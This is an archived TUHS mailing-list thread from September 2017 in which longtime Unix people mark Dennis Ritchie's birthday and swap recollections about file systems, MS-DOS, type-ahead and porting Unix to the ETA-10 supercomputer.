> Perhaps without the Unix workstations DEC might have survived.
>
> Interesting alternate history...
>
> Bill
>
>
> -----Original Message-----
> From: Dave Horsfall <dave at horsfall.org>
> To: The Eunuchs Hysterical Society <tuhs at tuhs.org>
> Sent: Fri, 08 Sep 2017 16:56
> Subject: [TUHS] Happy birthday, Dennis Ritchie!
>
> Sadly no longer with us (he exited in 2011), he was forked in 1941.  Just
> think, if it wasn't for him and Ken, we'd all be running Windoze, and
> thinking it's wonderful.
>
> A Unix bigot through and through, I remain,
>
> --
> Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will
> suffer."
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170908/c69f8a31/attachment.html>

From usotsuki at buric.co  Sat Sep  9 08:28:20 2017
From: usotsuki at buric.co (Steve Nickolas)
Date: Fri, 8 Sep 2017 18:28:20 -0400 (EDT)
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <20170908210450.C0FA618C08E@mercury.lcs.mit.edu>
References: <20170908210450.C0FA618C08E@mercury.lcs.mit.edu>
Message-ID: <alpine.BSF.2.02.1709081827550.8382@frieza.hoshinet.org>

On Fri, 8 Sep 2017, Noel Chiappa wrote:

>    > From: Dave Horsfall <dave at horsfall.org>
>
>    > Just think, if it wasn't for him and Ken, we'd all be running Windoze,
>    > and thinking it's wonderful.
>
> It's actually worse than that.
>
> We'd be running a Windows even worse than current Windows (which has managed
> to pick up a few decent ideas from places like Unix).
>
> 	Noel
>

Heck, even MS-DOS 2 as we knew it would not have been what it was, were it 
not for Unix.

-uso.


From pechter at gmail.com  Sat Sep  9 09:11:28 2017
From: pechter at gmail.com (William Pechter)
Date: Fri, 8 Sep 2017 19:11:28 -0400
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <CAE49LG=cE=y0aEQ9NCgSD3wfX3464yQivpd5-btn4suuXLRo4Q@mail.gmail.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
 <CAE49LG=cE=y0aEQ9NCgSD3wfX3464yQivpd5-btn4suuXLRo4Q@mail.gmail.com>
Message-ID: <bd1e3335-26b5-44e0-a2bc-2dfa716c9923.maildroid@localhost>

If no Unix... No Mac OSx or Linux or *BSD.

Linux came from the Posix spec.  OSx came from a Unix personality on Mach...

Perhaps the Prime OS or  perhaps Domain OS from Apollo would have been the workstation of the tech world. 

Apollo had a lead on Sun back in the day. 

Bill 
Bill

-----Original Message-----
From: Angus Robinson <angus at fairhaven.za.net>
To: William Pechter <pechter at gmail.com>, The Eunuchs Hysterical Society <tuhs at tuhs.org>, Dave Horsfall <dave at horsfall.org>
Sent: Fri, 08 Sep 2017 18:14
Subject: Re: [TUHS] Happy birthday, Dennis Ritchie!

You also would have Mac OS, Linux,etc

On Fri, Sep 8, 2017 at 5:14 PM William Pechter <pechter at gmail.com> wrote:

> If it wasn't for Unix, it possibly would have been VMS on Alpha... Or
> OS/2.  Early Windows 3.x wouldn't have cut it.
>
> Perhaps without the Unix workstations DEC might have survived.
>
> Interesting alternate history...
>
> Bill
>
>
> -----Original Message-----
> From: Dave Horsfall <dave at horsfall.org>
> To: The Eunuchs Hysterical Society <tuhs at tuhs.org>
> Sent: Fri, 08 Sep 2017 16:56
> Subject: [TUHS] Happy birthday, Dennis Ritchie!
>
> Sadly no longer with us (he exited in 2011), he was forked in 1941.  Just
> think, if it wasn't for him and Ken, we'd all be running Windoze, and
> thinking it's wonderful.
>
> A Unix bigot through and through, I remain,
>
> --
> Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will
> suffer."
>


From wes.parish at paradise.net.nz  Sat Sep  9 11:16:30 2017
From: wes.parish at paradise.net.nz (Wesley Parish)
Date: Sat, 09 Sep 2017 13:16:30 +1200 (NZST)
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <20170908210927.GB24413@DD0DDC435AC34EA8A55ABC3A9753F2FB>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <20170908210450.C0FA618C08E@mercury.lcs.mit.edu>
 <20170908210927.GB24413@DD0DDC435AC34EA8A55ABC3A9753F2FB>
Message-ID: <1504919790.59b340ee1620c@www.paradise.net.nz>

'fraid so. The Unix directory structure and the correlating free-form file competed with the file-as-
record-structure and directory-as-record-structure in the seventies and eighties. The competition had 
finished by the nineties, and hardly anybody remembers it now.

Seriously, how many grandmothers can you think of who would know how to allocate disk space for a 
photo of their grandkids? Who would be able to guess how many bytes a letter might take up?

Free-form files and directory nodes (with the corresponding requirement that the OS know how to 
allocate and reallocate disk space) helped democratize computing.

Just my 0.02c :)

Wesley Parish

Quoting Michael Kjörling <michael at kjorling.se>:

> On 8 Sep 2017 17:04 -0400, from jnc at mercury.lcs.mit.edu (Noel Chiappa):
> > We'd be running a Windows even worse than current Windows (which has
> managed
> > to pick up a few decent ideas from places like Unix).
> 
> Like directories, and free-form files (collections of bytes as opposed
> to collections of records)?
> 
> -- 
> Michael Kjörling • https://michael.kjorling.se •
> michael at kjorling.se
>  “People who think they know everything really annoy
>  those of us who know we don’t.” (Bjarne Stroustrup)
>  



"I have supposed that he who buys a Method means to learn it." - Ferdinand Sor,
Method for Guitar

"A verbal contract isn't worth the paper it's written on." -- Samuel Goldwyn


From grog at lemis.com  Sat Sep  9 11:30:34 2017
From: grog at lemis.com (Greg 'groggy' Lehey)
Date: Sat, 9 Sep 2017 11:30:34 +1000
Subject: [TUHS] File-as-record (was: Happy birthday, Dennis Ritchie!)
In-Reply-To: <1504919790.59b340ee1620c@www.paradise.net.nz>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <20170908210450.C0FA618C08E@mercury.lcs.mit.edu>
 <20170908210927.GB24413@DD0DDC435AC34EA8A55ABC3A9753F2FB>
 <1504919790.59b340ee1620c@www.paradise.net.nz>
Message-ID: <20170909013034.GA42338@eureka.lemis.com>

On Saturday,  9 September 2017 at 13:16:30 +1200, Wesley Parish wrote:
> 'fraid so. The Unix directory structure and the correlating
> free-form file competed with the file-as- record-structure and
> directory-as-record-structure in the seventies and eighties. The
> competition had finished by the nineties, and hardly anybody
> remembers it now.

Sorry, I don't understand this.  Can you give an example of
file-as-record and directory-as-record?  Some of it suggests MVS, but
not quite.

Greg
--
Sent from my desktop computer.
Finger grog at lemis.com for PGP public key.
See complete headers for address and phone numbers.
This message is digitally signed.  If your Microsoft mail program
reports problems, please read http://lemis.com/broken-MUA
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 163 bytes
Desc: not available
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170909/b9b9966f/attachment.sig>

From imp at bsdimp.com  Sat Sep  9 11:43:38 2017
From: imp at bsdimp.com (Warner Losh)
Date: Fri, 8 Sep 2017 19:43:38 -0600
Subject: [TUHS] File-as-record (was: Happy birthday, Dennis Ritchie!)
In-Reply-To: <20170909013034.GA42338@eureka.lemis.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <20170908210450.C0FA618C08E@mercury.lcs.mit.edu>
 <20170908210927.GB24413@DD0DDC435AC34EA8A55ABC3A9753F2FB>
 <1504919790.59b340ee1620c@www.paradise.net.nz>
 <20170909013034.GA42338@eureka.lemis.com>
Message-ID: <CANCZdfqdDfqT3nbh_vzVnGo0b7O0txSkVLO58YjxbFjHO52hXw@mail.gmail.com>

On Fri, Sep 8, 2017 at 7:30 PM, Greg 'groggy' Lehey <grog at lemis.com> wrote:

> On Saturday,  9 September 2017 at 13:16:30 +1200, Wesley Parish wrote:
> > 'fraid so. The Unix directory structure and the correlating
> > free-form file competed with the file-as- record-structure and
> > directory-as-record-structure in the seventies and eighties. The
> > competition had finished by the nineties, and hardly anybody
> > remembers it now.
>
> Sorry, I don't understand this.  Can you give an example of
> file-as-record and directory-as-record?  Some of it suggests MVS, but
> not quite.
>

See VMS's RMS: https://en.wikipedia.org/wiki/Record_Management_Services for
a representative competitor.

Warner
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170908/c6b85a0a/attachment.html>

From wes.parish at paradise.net.nz  Sat Sep  9 11:50:36 2017
From: wes.parish at paradise.net.nz (Wesley Parish)
Date: Sat, 09 Sep 2017 13:50:36 +1200 (NZST)
Subject: [TUHS] File-as-record (was: Happy birthday, Dennis Ritchie!)
In-Reply-To: <20170909013034.GA42338@eureka.lemis.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <20170908210450.C0FA618C08E@mercury.lcs.mit.edu>
 <20170908210927.GB24413@DD0DDC435AC34EA8A55ABC3A9753F2FB>
 <1504919790.59b340ee1620c@www.paradise.net.nz>
 <20170909013034.GA42338@eureka.lemis.com>
Message-ID: <1504921836.59b348ec60d1f@www.paradise.net.nz>

I picked up a book in the early nineties called File Structures or File Systems: I've forgotten which, 
because I didn't read it as much as I had intended. It covered the IBM MVS mainframe dataset file and 
directory structure and the Unix file and directory structure. And yes, I was referring to the MVS dataset, 
as much of it as I can remember from that book. (I sorry I can't recall the exact title: the book is 
somewhere at the bottom of a pile of other books from my last move several years ago.)

Wesley Parish

Quoting Greg 'groggy' Lehey <grog at lemis.com>:

> On Saturday, 9 September 2017 at 13:16:30 +1200, Wesley Parish wrote:
> > 'fraid so. The Unix directory structure and the correlating
> > free-form file competed with the file-as- record-structure and
> > directory-as-record-structure in the seventies and eighties. The
> > competition had finished by the nineties, and hardly anybody
> > remembers it now.
> 
> Sorry, I don't understand this. Can you give an example of
> file-as-record and directory-as-record? Some of it suggests MVS, but
> not quite.
> 
> Greg
> --
> Sent from my desktop computer.
> Finger grog at lemis.com for PGP public key.
> See complete headers for address and phone numbers.
> This message is digitally signed. If your Microsoft mail program
> reports problems, please read http://lemis.com/broken-MUA
>  



"I have supposed that he who buys a Method means to learn it." - Ferdinand Sor,
Method for Guitar

"A verbal contract isn't worth the paper it's written on." -- Samuel Goldwyn


From dave at horsfall.org  Sat Sep  9 14:20:13 2017
From: dave at horsfall.org (Dave Horsfall)
Date: Sat, 9 Sep 2017 14:20:13 +1000 (EST)
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
Message-ID: <alpine.BSF.2.21.1709091413330.48526@aneurin.horsfall.org>

On Fri, 8 Sep 2017, William Pechter wrote:

> Perhaps without the Unix workstations DEC might have survived.

Sigh :-)  RSTS, RSX-11[MD], Pick, VMS, etc; they've all taken on Unix, and 
I've been privileged to see them all off :-)

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."


From scj at yaccman.com  Sat Sep  9 14:34:28 2017
From: scj at yaccman.com (Steve Johnson)
Date: Fri, 08 Sep 2017 21:34:28 -0700
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <1504919790.59b340ee1620c@www.paradise.net.nz>
Message-ID: <043e1f9205ac702c6cf01125a45d44afa956a210@webmail.yaccman.com>


I'm not sure that the file and directory structure was all that
innovative (after all, the biologists had been doing that kind of
thing forever...).  But the file as a lightweight
flick-of-the-wrist-create-able entity was mind blowing.  At the time,
the IBM 360 required that you run a special job step to create a file
(we're talking punched cards here).  And then you had to pull that
job step out of the deck because trying to create a file that already
existed was an error.   In the GE/Honeywell time sharing system, you
had to invoke a subsystem that asked you 8 or 10 questions (name, what
device was it on, how big is upon creation, how big could it grow to,
what was its record size, etc.).   It stored up your answers and then
handed them to the OS.  It was easy to get a question wrong, in which
case it sent you back to the beginning to do the dance again.  Most
telling, when the file was finally created the subsystem exited with
the happy message "Successful!"

For people used to that world, "echo hello >hi" was literally jaw
dropping.  Many people had to have it explained twice, because they
literally could not conceive of a file being created so easily.  I
had worked in the computing center for a couple of years, and probably
gave more than my share of demos to mainframe users...

Steve

PS:  It was about this time that a survey of the mainframe computer
centers found that over 50% of the (costly, limited) disc space
consisted of trailing blanks of 80-column card images stored on
disc. 

----- Original Message -----
From: "Wesley Parish" <wes.parish at paradise.net.nz>
To:<tuhs at minnie.tuhs.org>
Cc:
Sent:Sat, 09 Sep 2017 13:16:30 +1200 (NZST)
Subject:Re: [TUHS] Happy birthday, Dennis Ritchie!

 'fraid so. The Unix directory structure and the correlating free-form
file competed with the file-as-
 record-structure and directory-as-record-structure in the seventies
and eighties. The competition had 
 finished by the nineties, and hardly anybody remembers it now.

 Seriously, how many grandmothers can you think of who would know how
to allocate disk space for a 
 photo of their grandkids? Who would be able to guess how many bytes a
letter might take up?

 Free-form files and directory nodes (with the corresponding
requirement that the OS know how to 
 allocate and reallocate disk space) helped democratize computing.

 Just my 0.02c :)

 Wesley Parish

 Quoting Michael Kjörling <michael at kjorling.se>:

 > On 8 Sep 2017 17:04 -0400, from jnc at mercury.lcs.mit.edu (Noel
Chiappa):
 > > We'd be running a Windows even worse than current Windows (which
has
 > managed
 > > to pick up a few decent ideas from places like Unix).
 > 
 > Like directories, and free-form files (collections of bytes as
opposed
 > to collections of records)?
 > 
 > -- 
 > Michael Kjörling ⢠https://michael.kjorling.se â¢
 > michael at kjorling.se
 > âPeople who think they know everything really annoy
 > those of us who know we donât.â (Bjarne Stroustrup)
 > 

 "I have supposed that he who buys a Method means to learn it." -
Ferdinand Sor,
 Method for Guitar

 "A verbal contract isn't worth the paper it's written on." -- Samuel
Goldwyn

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170908/740587fc/attachment.html>

From dave at horsfall.org  Sat Sep  9 15:13:30 2017
From: dave at horsfall.org (Dave Horsfall)
Date: Sat, 9 Sep 2017 15:13:30 +1000 (EST)
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <bd1e3335-26b5-44e0-a2bc-2dfa716c9923.maildroid@localhost>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
 <CAE49LG=cE=y0aEQ9NCgSD3wfX3464yQivpd5-btn4suuXLRo4Q@mail.gmail.com>
 <bd1e3335-26b5-44e0-a2bc-2dfa716c9923.maildroid@localhost>
Message-ID: <alpine.BSF.2.21.1709091456220.48526@aneurin.horsfall.org>

On Fri, 8 Sep 2017, William Pechter wrote:

> Perhaps the Prime OS or perhaps Domain OS from Apollo would have been 
> the workstation of the tech world.

I almost worked for Pr1me once (I worked next door to them in North 
Sydney); what stopped me was their notion that "1" was a prime number 
(yes, I'm a mathematician)...

> Apollo had a lead on Sun back in the day.

I used to work for Sun, and we hated Apollo :-)

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."


From michael at kjorling.se  Sat Sep  9 21:04:41 2017
From: michael at kjorling.se (Michael =?utf-8?B?S2rDtnJsaW5n?=)
Date: Sat, 9 Sep 2017 11:04:41 +0000
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <alpine.BSF.2.02.1709081827550.8382@frieza.hoshinet.org>
References: <20170908210450.C0FA618C08E@mercury.lcs.mit.edu>
 <alpine.BSF.2.02.1709081827550.8382@frieza.hoshinet.org>
Message-ID: <20170909110441.GD24413@77AD38E6D9044456A84A3BC0CB091E44>

On 8 Sep 2017 18:28 -0400, from usotsuki at buric.co (Steve Nickolas):
> Heck, even MS-DOS 2 as we knew it would not have been what it was,
> were it not for Unix.

Wasn't it MS-DOS 2 that introduced such advanced features as
directories, pipes and general console I/O redirection?

Of course most software that ran on top of DOS broke much of the
redirection niceness by addressing the console directly via video
memory access...

-- 
Michael Kjörling • https://michael.kjorling.se • michael at kjorling.se
                 “People who think they know everything really annoy
                 those of us who know we don’t.” (Bjarne Stroustrup)


From usotsuki at buric.co  Sat Sep  9 21:19:50 2017
From: usotsuki at buric.co (Steve Nickolas)
Date: Sat, 9 Sep 2017 07:19:50 -0400 (EDT)
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <20170909110441.GD24413@77AD38E6D9044456A84A3BC0CB091E44>
References: <20170908210450.C0FA618C08E@mercury.lcs.mit.edu>
 <alpine.BSF.2.02.1709081827550.8382@frieza.hoshinet.org>
 <20170909110441.GD24413@77AD38E6D9044456A84A3BC0CB091E44>
Message-ID: <alpine.BSF.2.02.1709090716590.53132@frieza.hoshinet.org>

On Sat, 9 Sep 2017, Michael Kjörling wrote:

> On 8 Sep 2017 18:28 -0400, from usotsuki at buric.co (Steve Nickolas):
>> Heck, even MS-DOS 2 as we knew it would not have been what it was,
>> were it not for Unix.
>
> Wasn't it MS-DOS 2 that introduced such advanced features as
> directories, pipes and general console I/O redirection?

For varying degrees of "pipes"; it implemented them with a temp file.  But 
yes, and that's exactly what I was referring to - it took those features 
from Xenix.  The API is pretty much as Unixlike as you could get on top of 
the INT21 interface and on a single-tasking system, I think.

> Of course most software that ran on top of DOS broke much of the
> redirection niceness by addressing the console directly via video
> memory access...

Of course.  But those kinds of programs often weren't the kind you'd want 
to redirect anyway.

-uso.

From ches at cheswick.com  Sat Sep  9 23:04:59 2017
From: ches at cheswick.com (William Cheswick)
Date: Sat, 9 Sep 2017 09:04:59 -0400
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <043e1f9205ac702c6cf01125a45d44afa956a210@webmail.yaccman.com>
References: <043e1f9205ac702c6cf01125a45d44afa956a210@webmail.yaccman.com>
Message-ID: <9CA2C1B8-50FC-4CDB-BF3D-E922ABDE7464@cheswick.com>

Amen.  There were a number of things that really sucked at the time.  
My least favorite: time sharing systems that didn’t allow type-ahead.

Kids these days...

> On 9Sep 2017, at 12:34 AM, Steve Johnson <scj at yaccman.com> wrote:
> 
> For people used to that world, "echo hello >hi" was literally jaw dropping.  Many people had to have it explained twice, because they literally could not conceive of a file being created so easily.  I had worked in the computing center for a couple of years, and probably gave more than my share of demos to mainframe users...
> 
> Steve

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170909/ea7e6843/attachment.html>

From krewat at kilonet.net  Sat Sep  9 23:59:51 2017
From: krewat at kilonet.net (Arthur Krewat)
Date: Sat, 9 Sep 2017 09:59:51 -0400
Subject: [TUHS] File-as-record
In-Reply-To: <1504921836.59b348ec60d1f@www.paradise.net.nz>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <20170908210450.C0FA618C08E@mercury.lcs.mit.edu>
 <20170908210927.GB24413@DD0DDC435AC34EA8A55ABC3A9753F2FB>
 <1504919790.59b340ee1620c@www.paradise.net.nz>
 <20170909013034.GA42338@eureka.lemis.com>
 <1504921836.59b348ec60d1f@www.paradise.net.nz>
Message-ID: <74765943-d615-6d81-cf1b-78462b01bc5e@kilonet.net>

Not sure I quite get this "file as record" thing.

On TOPS-10, you create a file, edit a file, you don't have to allocate 
space for it before you use it.

Sure, it's made up of "blocks" - and writing to the file requires you to 
do it in blocks. But allocating those blocks was done on as the fly as 
you wrote to it.

Also, the first thing I did was to make my own routines that would allow 
the program to read/write in random-size chunks, blocking as it needs to.

Is the distrinction that the operating system (libraries) allowed you to 
read/write random size chunks? If so, the underlying structure of a UNIX 
filesystem still required block I/O. It was just hidden from the 
programmer.

But for peak performance, you still needed to do things in big enough 
chunks (blocks).

If I had known that random-size chunk read/writes were a "thing" I would 
have added it to the TOPS-10 monitor sources and submitted it back to DEC :)

AAK

PS: First TOPS-10 monitor was 1964


From lm at mcvoy.com  Sun Sep 10 01:41:51 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Sat, 9 Sep 2017 08:41:51 -0700
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <alpine.BSF.2.21.1709091456220.48526@aneurin.horsfall.org>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
 <CAE49LG=cE=y0aEQ9NCgSD3wfX3464yQivpd5-btn4suuXLRo4Q@mail.gmail.com>
 <bd1e3335-26b5-44e0-a2bc-2dfa716c9923.maildroid@localhost>
 <alpine.BSF.2.21.1709091456220.48526@aneurin.horsfall.org>
Message-ID: <20170909154151.GK3143@mcvoy.com>

On Sat, Sep 09, 2017 at 03:13:30PM +1000, Dave Horsfall wrote:
> On Fri, 8 Sep 2017, William Pechter wrote:
> 
> >Perhaps the Prime OS or perhaps Domain OS from Apollo would have been the
> >workstation of the tech world.
> 
> I almost worked for Pr1me once (I worked next door to them in North Sydney);
> what stopped me was their notion that "1" was a prime number (yes, I'm a
> mathematician)...
> 
> >Apollo had a lead on Sun back in the day.
> 
> I used to work for Sun, and we hated Apollo :-)

Mr Yacc might like this story.

Before I worked for Sun I worked for Lachman (porting Unix to the ETA-10)
and the dev environment there was apollos served by a Sun 3/280 file
server.

I was fresh out of school, interviewed with Lachman for this job, they
sort of let me believe I'd be doing the VM system for this weird ass
machine that was basically a cluster with a huge (at the time) 2GB
"shared" memory that was bcopy only.  Seemed like a fun project.

I got there and they said "Um, you know, we have someone with more
than zero years of experience working on the VM system.  How about you
port all the commands?"  Crushed me was like "Really?" They said "Really".

Sigh, whatever.  So what I quickly learned was weird about this machine
was that native pointers pointed at bits.  The compiler writers were all
like "fuck that, we point at bytes" but they had to have a way to get to
real pointers so they decided that if you did 

	char	*p = &whatever;
	int	i = (int)p;

the assignment of a pointer into an int did the shift to point at the first
bit of that byte, and the other way shifted the other way.  Got it?  Ints
held "real" pointers and pointers held byte aligned pointers.  It was weird,
yes.

The unfortunate side effect is that 

	char	*p = malloc(10);

caused a shift if you didn't include malloc.h.  Because the compiler thought
malloc was returning a bit pointer so it "kindly" did the shift for us.

This quickly became a pattern.  Here is what I did:

First, and this is the apollo part, I ported the cross compiler from the
apollo environment to SunOS.  Because compiling on the file server was
faster in two ways: (a) local file system instead of NFS and (b) the Sun
was way way faster than those stupid apollo machines.  And the Sun was
real Unix.  The port caused all sorts of fuss because I wasn't part of
the compiler team, I had to write a tool that diffed the binaries produced
by the Sun with the ones produced by the apollos to show that the only
difference was in the a.out header that had a timestamp or something.

Second, and this is the part that Steve might like, I hacked lint suck
that when it complained about type mismatches it wandered around until
it got to the base types and printed out

	type mismatch: "INT" vs "POINTER"

which wasn't that easy, I didn't really understand the guts of lint.
I think those changes did wind their way back into Sys V lint somehow,
I had nothing to do with it, maybe someone from Lachman fed them back
or maybe the Sys V people redid them on their own.

OK, so now I lint all of /usr/src/cmd and I wrote an awk script (perl
wasn't around yet and awk worked fine) that looked for any int/pointer
mismatch, edited the file, and included every header I could think of
that declared some library function that returned a pointer, string.h,
malloc.h, etc.  I iterated a few times (this was an overnight thing,
I'd come in in the morning and see that I forgot some more, add them
to the list, restart the script).

Finally I get a clean lint run and I start up a compile run, fix up
a few remaining things (there were surprisingly few, it was an easy
port) and I've got a built /usr/src/cmd installed on piper1, my
test machine.  I go to my boss and say "I'm done".  Note that all of
this stuff, getting onboarded, porting the compiler, wacking lint,
linting, compiling, took about 3 weeks.  I was a busy little beaver :)

My boss goes "yeah, right.  Hey, Mike, go look at piper1 and see what
kind of a mess we have".  Mike goes off and comes back, gives me a
weird look, and says "He's right, he's done".  Sort of, we didn't have
tty's yet so vi didn't work, we didn't have a kmem driver so ps didn't
work (which was *really* annoying), etc.  But awk worked, find worked,
ls worked, all that stuff worked.

My boss says "get out of here, let me think about this".

I come back in the next day, go to my boss (Bob Palm if any of you
know him, great guy) and he says "You can go home, we'll just pay
you".  Turns out that Lachman had budgeted for 6 months to do the
/usr/src/cmd port and it didn't look good to have me sitting around
doing nothing.

I, being the nerd that I am, said "Do you mind if I stick around if
I'm doing work?"  Bob says "Go for it, you can do whatever you want
if you look busy".

And there began the most awesome 6 months of my life.  I wrote
my own version of ps and a /dev/ps driver that was a dumbed down
version of /dev/kmem, because I was too clueless to write a kmem
driver.  People used that ps for a long time until someone did a 
real kmem driver.

I wrote the Unix side of the disk driver, which sounds hard but 
wasn't, this thing had I/O channels that had their own processor
so it was more like writing a http client or something, just in 
the kernel.  The real driver was in the I/O channel, all I had to
do was learn how to talk to the I/O channel.  And it was a polling
driver, no interrupts, there was some hardware glitch with interrupts
or something, whatever the reason, I just polled so it was easy.
Shitty perf but easy.

I ported all of the Lachman STREAMS TCP stack.  If I recall correctly
shorts weren't shorts, they were u32.  So all the 

	unsigned short	port;

became

	unsigned short	port:16;

I remember the stack being the biggest job, there were some things
that turned out to be tricky, long forgotten.  Oh, I bet anything
a lot of it was the networking drivers.  I know some of it was 
me banging on stuff but I think there were some driver issues as
well, I didn't work on those, I'm not much of a device driver person.

After all this I got sent to Japan with 3 source tapes, the base system
that included all of /usr/src/cmd and everyone else's stuff that had 
sort of been approved for integration, a version of the tree with big
pages, and the version of the tree that had the networking stack in it.

I was sent to the Tokyo Institute of Technology (TIT) and I was the techy
guy, they sent me with another Sun 3/280 and two Sun 3/50 (screw that
apollo crud) and told me to set up a dev environment and merge those
source trees.  So of course the server was installed as "bigtit" and
the 3/50's as "lefttit" and "righttit" which lasted until the Japanese
folks figured out what those meant.

I was there for 3 months, doing the merge wasn't easy and then other
problems cropped, again with the drivers if I remember correctly.
So the folks back in St Paul were sending me stuff, I was merging it,
building, installing, testing, reporting back what didn't work, and
that went on for quite a while.  Eventually it worked and home I 
went.  Lost a bunch of weight because I didn't like sushi at the 
time and there weren't a lot of good alternatives that kept my
weight up.  Fun times.


From clemc at ccc.com  Sun Sep 10 01:55:04 2017
From: clemc at ccc.com (Clem Cole)
Date: Sat, 9 Sep 2017 11:55:04 -0400
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <043e1f9205ac702c6cf01125a45d44afa956a210@webmail.yaccman.com>
References: <1504919790.59b340ee1620c@www.paradise.net.nz>
 <043e1f9205ac702c6cf01125a45d44afa956a210@webmail.yaccman.com>
Message-ID: <CAC20D2P99bYFBB2eUTqbA8KarTxZVr9JBPBbzrAwHJAwEAW=pQ@mail.gmail.com>

below...

On Sat, Sep 9, 2017 at 12:34 AM, Steve Johnson <scj at yaccman.com> wrote:

>
> ​...​
>  At the time, the IBM 360 required that you run a special job step to
> create a file (we're talking punched cards here).  And then you had to pull
> that job step out of the deck because trying to create a file that already
> existed was an error.
>
​Point taken and sort of...TSS/360 and MTS was not (quite) as bad (although
it could be if you use the batch processing system), but Steve is right...
the idea of persistence was really not something people considered as
'easy' because it usually cost them money (real or allocated from the
computer center).

So I suspect part of it was the economics of storage at time.   On line
(magnetic) storage  was way more expensive than cards.   Its has been
pointed at the the original PDP-7 Ken used did not have a disk on it, it
was custom special DEC's CSS group had splicing a PDP-15 disk to it.  The
disk unit itself was manufactured by someone else (as were most/many of
DEC's disks for years).

Clay Christensen in "*The Innovator Dilemma" *has curves that actually
start a few years later when he studies the disk drive industry.   But its
the just part of the same effect he is talking about.

The key is the what UNIX was doing was not considered practical by the
mainframe folks, so people did not consider it.  It was a resources to be
protected (and to an extent, hoarded maybe).   Moore's Law, et al, was the
engine that allowed the UNIX innovation to really see light.  The way the
mainframes were doing things just did not make functional sense, but until
it was economical to do it otherwise - we were stuck.

As Steve says... it really was mind blowing for making things like this
easy.

Clem
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170909/47feecf7/attachment.html>

From usotsuki at buric.co  Sun Sep 10 03:26:38 2017
From: usotsuki at buric.co (Steve Nickolas)
Date: Sat, 9 Sep 2017 13:26:38 -0400 (EDT)
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <9CA2C1B8-50FC-4CDB-BF3D-E922ABDE7464@cheswick.com>
References: <043e1f9205ac702c6cf01125a45d44afa956a210@webmail.yaccman.com>
 <9CA2C1B8-50FC-4CDB-BF3D-E922ABDE7464@cheswick.com>
Message-ID: <alpine.BSF.2.02.1709091326220.74608@frieza.hoshinet.org>

On Sat, 9 Sep 2017, William Cheswick wrote:

> Amen.  There were a number of things that really sucked at the time.
> My least favorite: time sharing systems that didn’t allow type-ahead.
>
> Kids these days...

Oh geez. That sounds pants-on-head special.

-uso.

From krewat at kilonet.net  Sun Sep 10 03:49:52 2017
From: krewat at kilonet.net (Arthur Krewat)
Date: Sat, 9 Sep 2017 13:49:52 -0400
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <9CA2C1B8-50FC-4CDB-BF3D-E922ABDE7464@cheswick.com>
References: <043e1f9205ac702c6cf01125a45d44afa956a210@webmail.yaccman.com>
 <9CA2C1B8-50FC-4CDB-BF3D-E922ABDE7464@cheswick.com>
Message-ID: <de2b89ca-8e80-ad56-8db4-a128e00d75dd@kilonet.net>

TOPS-10 allowed type-ahead, with the caveat that if a program exited 
with an error, it would intentionally clear the TTY buffer. Something I 
actually sorely miss.

IIRC, the type-ahead buffer was only around 80 characters. If you 
exceeded it, it beeped at you ;)



On 9/9/2017 9:04 AM, William Cheswick wrote:
> Amen.  There were a number of things that really sucked at the time.
> My least favorite: time sharing systems that didn’t allow type-ahead.
>
> Kids these days...
>
>> On 9Sep 2017, at 12:34 AM, Steve Johnson <scj at yaccman.com 
>> <mailto:scj at yaccman.com>> wrote:
>>
>> For people used to that world, "echo hello >hi" was literally jaw 
>> dropping.  Many people had to have it explained twice, because they 
>> literally could not conceive of a file being created so easily.  I 
>> had worked in the computing center for a couple of years, and 
>> probably gave more than my share of demos to mainframe users...
>>
>> Steve
>

-------------- next part --------------
